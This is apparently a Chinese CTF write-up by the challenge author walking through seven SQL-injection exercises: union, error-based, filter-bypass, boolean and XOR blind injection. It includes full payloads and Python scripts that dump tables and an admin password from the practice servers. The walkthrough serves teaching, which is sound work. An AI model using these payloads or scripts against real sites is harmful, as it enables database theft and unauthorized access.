sql01:(GET-无任何过滤)http://49.234.136.46:32711/index01.php

首先题目提示要输入id,那就在url中加入?id=1得到:发现给了两个回显位

给出提示信息: flag in another table!(假装自己不是出题人,哈哈哈哈哈)

然后需要找出id的闭合方式:              ?id=1' (报错)                     ?id=1' %23(正常,  %23为 #   注释符,后面的语句被注释掉 )

当用单引号闭合时,发现有报错,确定id的闭合方式是 单引号

ok,现在得到的有用信息:  两个回显位         闭合方式为  单引号

可用的 注入方式:   联合查询       报错注入    …………

(一 )联合查询:

先用 order by 测 数据库当前表的 字段数(列数):

?id=1' order by 2 %23     //正常
?id=1' order by 3 %23     // 报错

说明 有 2 个字段

爆库名:

?id=-1' union select 1,database() %23

得到数据库名: test_flag

爆表名:

?id=-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() %23

得到两个表 : flag  和 users  (因为前面提示说 flag 在另一个表里面  那我们只用去 注入 flag 表就行了)

爆 字段:

?id=-1' union select 1,group_concat(column_name)from information_schema.columns where table_name = 'flag' %23

得到两个字段  id message

脱库:(0x7e  是十六进制的 ~  )

?id=-1' union select 1,group_concat(id,0x7e,message)from flag %23

得到 flag : flag{SDUT-HEIHEI-HAHA}

(二)报错注入:

常用的 两种简单的报错注入方式:

?id=1' and extractvalue(1,concat(0x7e,(payload))) %23?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23

这里用 第一种 做一个实例:

//爆库名
?id=1' and extractvalue(1,concat(0x7e,(database()))) %23只需要将下面的语句放入   payload 位置就可以了//爆表名
select group_concat(table_name) from information_schema.tables where table_schema = database()//爆字段
select group_concat(column_name) from information_schema.columns where table_name = 'flag'//脱库
select group_concat(id,0x3a,message) from flag

SQL2 : 单引号-GET型-报错注入        http://49.234.136.46:32711/ind02.php

提示让输入 id,那就输入  ?id=1   依次输入 2,3,4,都是这个界面,没给回显位

测闭合方式: 注入               ?id=1' (报错)                     ?id=1' %23(正常,  %23为 #   注释符,后面的语句被注释掉 )

说明闭合方式是   单引号

那这题最适合的注入方式是  报错注入

报错注入:

常用的 两种简单的报错注入方式:

?id=1' and extractvalue(1,concat(0x7e,(payload))) %23?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23

爆库名:

?id=1' and extractvalue(1,concat(0x7e,(database()))) %23

爆表名:


?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))) %23

得到两个表:sql2_flag   users

爆字段:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'sql2_flag'))) %23

脱库:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,0x7e,message) from sql2_flag ))) %23

这里发现 信息没有输出完  被截断了    这是因为  extractvalues()函数  和 updatexml ()这两个函数 最多能输出 32位字符

所以这里我们  不采用 group_concat() 函数 换用  concat()   +  limit  x,x  进行一行一行输出

//这里需要不断改变 limit x,1 进行换行?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 0,1))) %23?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 1,1))) %23

SQL3 : 单引号-GET型-布尔/延时注入-无过滤

http://49.234.136.46:32711/in03d.php

注入: ?id=1

注入 ?id=1'  不会报错 ,  不能用 报错注入

注入    ?id=1' and '1' ='1'   %23

确定 闭合方式是   单引号闭合

肯定是用盲注  具体是用  延时注入  还是   布尔注入 取决于个人喜好

手工 注入可能得 注入一辈子

布尔注入的原理:具体自己去百度:

如果用 布尔注入的话 还是得

先 看 正确时  返回的页面内容长度     526

错误时    返回的页面内容长度     496

我们就利用这一点  去一个一个字符地爆破

比如:注入:

admin'and ascii(substr((database()),1,1))=117 #//字母 u  的 ascii是 117

这里是截取  查询到的数据库名 的第一个字母  然后与   字符 'u' 对比  如果  数据库名的第一个字母是 u

这句话就是 是正确的  就代表  username 是 正确的   返回的页面内容大小为 526

若 数据库名的第一个字母不是 u ,这个注入语句就是 flase   即  username是错误的 ,返回页面内容的大小为 496

直接上脚本:python3

import requestsresult = ""
url_template = "http://49.234.136.46:32711/in03d.php?id=2' and ascii(substr(({0}),{1},1))>{2} %23"
chars = "-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz,.@&%/^!{}~"
url_length = "http://49.234.136.46:32711/in03d.php?id=2' and length(({0})) >{1} %23"def get_result_length(payload,value):for n in range(1,100):url = url_length.format(payload,n)response = requests.get(url)length = len(response.text)if length < value:print("……data length is :" + str(n))return  ndef get_db_name(data_length,payload,value):for i in range(1,data_length):for char in chars:url = url_template.format(payload,i,ord(char))response = requests.get(url)length = len(response.text)if length<value:         #根据返回长度的不同来判断字符正确与否global resultresult += charprint("…… data is :"+ result)break#自定义 sql注入语句 payload   分割符 为0
payload = "select database() "
# 根据正确访问时错误访问时返回页面文本长度的不同 来设置一个判断值  正确时 返回字节长度是 526   错误时返回字节长度是 496
value = 510
data_length = get_result_length(payload,value)+1
get_db_name(data_length,payload,value)
print(result)

只需要改变 payload 语句就可以实现  爆库名 、表名、字段、脱库等操作

这里给出具体的payload:

//爆库名
select database()只需要将下面的语句放入   payload 位置就可以了//爆表名
select group_concat(table_name) from information_schema.tables where table_schema = database()//爆字段
select group_concat(column_name) from information_schema.columns where table_name = 'SDUT_flag'//脱库
select group_concat(username,password) from SDUT_flag
select concat(username,0x3a,password) from SDUT_flag  limit 3,1

数据库名:

最终得到 flag:flag{SDUT_hei-hei-hei}

这里附上 我的另一篇博客的 连接 有兴趣的同学可以看看:(我好难啊! 自己出题,自己搭建服务,自己写题解,呜呜)

SQL 盲注GET /POST、布尔型,延时型Python脚本:

https://blog.csdn.net/vhkjhwbs/article/details/98960802

有不懂的可以联系我  qq:1571625800

再说一下  脚本中 的 value 是怎么找的:Firefox    中 按F12  ,然后在url中 注入        刷新

SQL4 : 单引号-GET型-过滤or和and-双写绕过

http://49.234.136.46:32711/i04dx.php

注入  ?id=1   给了一个回显位

注入 ?id=2'  有报错 可以用报错注入

注入  ?id=2'  and '1' ='1' %23   还是报错  ??? 不应该啊

仔细看看报错 发现  and 没了:应该是被过滤了

还过滤了啥呢??? 找找提示:

查看页面源代码:发现有一个提示:

是一个base 64 密文 在线解密后得到:

Your 'and' and 'or' are filtered     说 and 和 or 被过滤了

ok ,用一下双写绕过,看可不可以,注入: ?id=1' anandd  '1' = '1'  %23   正常了

看来可以用 双写绕过

不管是用 联合查询 还是用  报错注入,还是 盲注   在涉及到   and 和 or 这两个字符时需要双写

anandd

oorr

给出脱库的 payload:(特别注意在使用 information_schema 时  要双写成 infoorrmation_schema    ,passwoorrd)

在用联合查询时 要先测  用 order  by 字段数 (双写   oorrder  by)  这里测得字段数为  3,且回显位 在 1 号位

?id=-1' union select group_concat(username,0x7e,passwoorrd),2,3 from ctf %23

flag~flag{daye-lpl-RNG}

SQL5 : POST型-无过滤                     http://47.94.36.51:32710/index.php

随便输入: admin   admin  没想到 登录成功  :有两个回显位,可以回显信息

输入别的  就会出现 usernname or password error!

首先 测  闭合方式:

//在username中注入:admin'            //  usernname or password error!admin' #          //登入a' or '1' ='1' #    //万能密码   #会把 后面的password验证注释掉 所以不用填密码   

确定闭合方式为   单引号闭合

因为没有报错 所以不能用 报错注入

用联合查询 或者  盲注 都是 可以的

联合查询:

以下注入 都是 在username中注入的  ,password可以不填(因为已经被#注释掉了)

测 字段个数:说明有 2 个字段


admin' order by 2 #    // 正确admin' order by 3 #    //错误

爆库名:

a' union select 1,database() #

爆表名

a' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() #

爆字段::

a' union select 1,group_concat(column_name)from information_schema.columns where table_schema = 'users' #

脱库:

a' union select 1,group_concat(username,0x3a,password) from users #

flag:flag{LH-quan-shi_jie_zui_shuai}

SQL6 : POST型-布尔/延时注入                      http://47.94.36.51:32711/index.php

随便输入   asss        和 sdfasd   提示  username error!

输入: admin   和  admin     提示password error ! (可知,有一个username 为 admin,页面源代码中给的 tip 也证实这一点, 其实这些题就是我出的,假装自己不是出题人系列  哈哈哈哈哈哈哈)

还是先测闭合方式:

在username 中输入: 闭合方式为    单引号


admin'          //username error!admin' #        //password error!

发现页面只会 输出 username error  和     password error

不会报错,也没有回显位 ,那只能用   盲注延时或者布尔了

知道了一个用户名为 admin  那爆出 admin的密码不就可以得到flag了嘛!

注入点  在 username

如果用 布尔注入的话 还是得

先 看 username正确时  返回的页面内容长度     2859

username  错误时    返回的页面内容长度     2829

我们就利用这一点  去一个一个字符地爆破

比如:注入:

admin'and ascii(substr((database()),1,1))=117 #//字母 u  的 ascii是 117

这里是截取  查询到的数据库名 的第一个字母  然后与   字符 'u' 对比  如果  数据库名的第一个字母是 u

这句话就是 是正确的  就代表  username 是 正确的   返回的页面内容大小为 2859

若 数据库名的第一个字母不是 u ,这个注入语句就是 flase   即  username是错误的 ,返回页面内容的大小为 2829

Firefox  中 按 F12  点网络 ,然后分别输入正确的username 和错误的username

查看 响应包信息:

上代码:

import requestschars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
result = ""def get_length(value):  #获取要查询的数据的长度for n in range(1,100):payload = "admin' and length(({0})) ={1} #".format(data_payload,n)data = {"uname":payload,"passwd":"admin"}html = requests.post(url,data=data)length = len(html.text)if length >value:print("……data length is :" + str(n))return  ndef get_data(data_length,value): #获取数据global resultfor i in range(1,data_length):for char in chars:payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))data = {"uname":payload,"passwd":"admin"}html = requests.post(url,data=data)length = len(html.text)if length>value:         #根据返回长度的不同来判断字符正确与否result += charprint("…… data is :"+ result)breakurl = "http://47.94.36.51:32711/index.php"
data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"
value = 2840     # 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值,这个值需要在浏览器中 按f12 查看length = get_length(value) +1
get_data(length,value)
print(result)

表名:

改一下payload就可以 爆其他的信息:
脱库:

data_payload = "select password from users where username='admin'"

得到,密码:asdfasdfasdfsddd

输入 admin  和asdfasdfasdfsddd   得到flag:

是一段base 64 密文:ZmxhZ3tJJ20tc3VwZXJtYW59ICAgIAoKCg==

解密:flag{I'm-superman}

有兴趣的话可以研究一下   延时的脚本

可以参照我的另一篇博客:https://blog.csdn.net/vhkjhwbs/article/details/98960802

有不懂的可以联系我  qq:1571625800

SQL7 : POST型-几乎过滤所有字符-异或注入

http://47.94.36.51:32710/lalala.html

这个题有点难度的,

输入 admin admin   提示 : password error!

输入 admin'   admin'   提示: username error!

输入 admin'   #       提示: Illegal character (这里不能确定到底谁是非法字符,需要进一步测试)

输入 admin'#           提示: password error!

通过以上 输入 知道了  有一个用户名为  admin

闭合方式为  单引号

有部分字符被过滤了 (不知道到底有哪些字符被过滤了,怎么办???)

肯定先要测试 有哪些字符被过滤了啊!

首先看看有没有给提示:

在第一页的源代码里找到了这个提示:

说经常查看页面源代码是一个好习惯

那肯定有信息在 页面源代码里了,找找看:

在第二页的 页面源代码里找到了 一段base 64 密文:

如果你是用 burp suite做代理做本题的话 很容易就会发现 这个tip:

base 64 密文:

ICAgICRkYXRhPSBwcmVnX3JlcGxhY2UoJy9bK10vJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL1ssXS8nLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvWyBdLycsIiIsICRkYXRhKTsJICAgIAogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyYvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyUvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL3VuaW9uL2knLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvYW5kL2knLCIiLCAkZGF0YSk7ICAgIA==

解密:把下面的字符全过滤

    $data= preg_replace('/[+]/',"", $data);$data= preg_replace('/[,]/',"", $data);$data= preg_replace('/[ ]/',"", $data);        $data= preg_replace('/&/',"", $data);$data= preg_replace('/%/',"", $data);$data= preg_replace('/union/i',"", $data);$data= preg_replace('/and/i',"", $data);    

过滤了  union  不能用 联合查询

过滤了  逗号   srtsub()函数就不能按照常规用法

过滤了 空格 ,尽量避免用 空格,在需要用到空格的地方 就 用()代替

上脚本:

import requestsurl = "http://47.94.36.51:32710/xxxg.php"
char  = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
result = ''
for i in range(1,45):stop = 0for c in char:#两个payload的表达方式不同 都是可以用的 ,任选其一#payload = "admin'^(ascii(mid((select(password)from(users)where(username)='admin')from({})))<>{})^0#".format(str(i),ord(c))payload = "admin'^(ascii(substr((select(password)from(users)where(username)='admin')from({0})))<>{1})^0#".format(str(i),ord(c))data = {'username': payload,'password': '123'}html = requests.post(url, data=data)if 'password' in html.text:result +=cstop =1print(i)print("......" + result)break #匹配到值后内循环停止if stop == 0: #当内循环匹配不到值的时候外循环就停止print("\n"+result)break

得到admin的密码 : wotianxiawudi

登录后得到:

flag{SDUT-wonderful-sss}

如果有什么不懂可以联系我q 1571625800

SDUT-SQL题解相关推荐

  1. 数据分析笔试经典sql题解

    欢迎关注微信公众号:开心数据 前言:sql是数据分析师笔试必考的考点之一,常考的题型有行列转换.联表查询,这些都比较简单,一般考的最难的就是hivesql窗口函数联表查询,普通的聚合函数每组(Grou ...

  2. java 必备面试必备

    1.JDK 和 JRE 有什么区别? JDK(Java Development Kit),Java开发工具包 JRE(Java Runtime Environment),Java运行环境 JDK中包含 ...

  3. 牛客网sql练习题解(22-32)

    文章目录 简介 NO.22 NO.23 NO.24 NO.25 NO.26 NO.27 NO.28 NO.29 NO.30 NO.31 NO.32 简介 往期文章: 牛客网sql练习题解 (1-11) ...

  4. 自学SQL网题解(6-12课题解)

    自学SQL网题解 自学SQL网(6-12课题解) SQL Lesson 6: 用JOINs进行多表联合查询 SQL Lesson 7: 外连接(OUTER JOINs) SQL Lesson 8: 关 ...

  5. 牛客网sql练习题解(12-21)

    文章目录 简介 NO.12 NO.13 NO.14 NO.15 NO.16 NO.17 NO.18 NO.19 NO.20 NO.21 简介 按时来更,感觉题目不是很难,不过我有一个感觉就是虽然题目简 ...

  6. 自学SQL网习题题解:0-12(带内容解析!)

    自学SQL网习题题解:0-12(带内容解析!) 原创:丶无殇  2022-07-17 这是一个自学SQL的中文网站,基础内容质量高,语言简洁明了,能够快速学习并提升技能. 网址:http://xues ...

  7. 《SQL数据分析——从基础破冰到面试题解》题解1

    22个简单的SQL题目 本篇文章夹杂着题目和自己的题解,欢迎来交流 1.比赛名单整理 select a.team_name as `队伍A`,b.team_name as `队伍B` from com ...

  8. 自学SQL网题解(0-5课题解)

    自学SQL网题解 自学SQL网(0-5课题解) SQL Lesson 0: 让我给SQL做个自我介绍 SQL Lesson 1: SELECT 查询 101 SQL Lesson 2: 条件查询 (c ...

  9. LeetCode题解(0197):查询相较于昨天温度上升的日期(SQL)

    LeetCode题解(0197):查询相较于昨天温度上升的日期(SQL) 题目:原题链接(简单) 解法 执行用时 Ans 1 (SQL) 390ms (>54.11%) 解法一(使用交差联结配合 ...

  10. 每日一刷与题解:Java基础知识+sql

    JAVA基础知识题 答案:C 题解: 答案:A 题解:可以直接用类名调用的是静态方法 答案:A 题解:面向对象三大特征:封装.继承.多态 答案:D 题解:这题大意了,知识点没记牢吧,因为前段时间在学m ...

最新文章

  1. 1094 The Largest Generation
  2. 单例模式的3种实现方式, 及其性能对比
  3. 关于Unity中从服务器下载资源压缩包AssetBundle的步骤
  4. 测试一个数是不是素数
  5. 在Emacs中使用ECB(转载)
  6. 8分钟答辩稿_干货 | 论文答辩,该掌握哪些技巧?
  7. yii验证系统学习记录,基于yiicms(一)写的太长了,再写一篇(二)
  8. Jmeter 监控多台服务器CPU、内存、i/o等资源
  9. IDEA 搭建 SpringBoot + Maven + Oracle + Hibernate 项目框架
  10. CS231n课程笔记5.4:超参数的选择交叉验证
  11. 深入了解hibernate之PO,VO,load,get
  12. CSS选择器的优先级计算
  13. 不错的Nginx详解
  14. 2018.12.20 区块链论文翻译
  15. 用记事本写表白html,抖音电脑弹窗表白代码怎么弄_记事本vbs告白代码写法介绍_抖音表白套路方法分享...
  16. iwconfig工具源码
  17. Qt下载(多种下载通道+所有版本)(付在线教程)
  18. light动名词_英语语法大全之动名词
  19. 出圈!迅镭激光切割设备亮相热播剧《麓山之歌》
  20. 用Python求完美数

热门文章

  1. java json的使用方法_JAVA编写JSON常用的三种方法
  2. 学妹问我:怎么从网页下载所有图片?我答:天机不可泄露
  3. 六十八、SpringBoot连接MongoDB操作
  4. pytorch 常用层(四)
  5. Transformer源代码解释之PyTorch篇
  6. 自训练 + 预训练 = 更好的自然语言理解模型
  7. 超细节!从源代码剖析Self-Attention知识点
  8. 炼丹感悟:On the Generalization of RL
  9. 经典论文复现 | 基于标注策略的实体和关系联合抽取
  10. NIPS 2017论文解读 | 基于对比学习的Image Captioning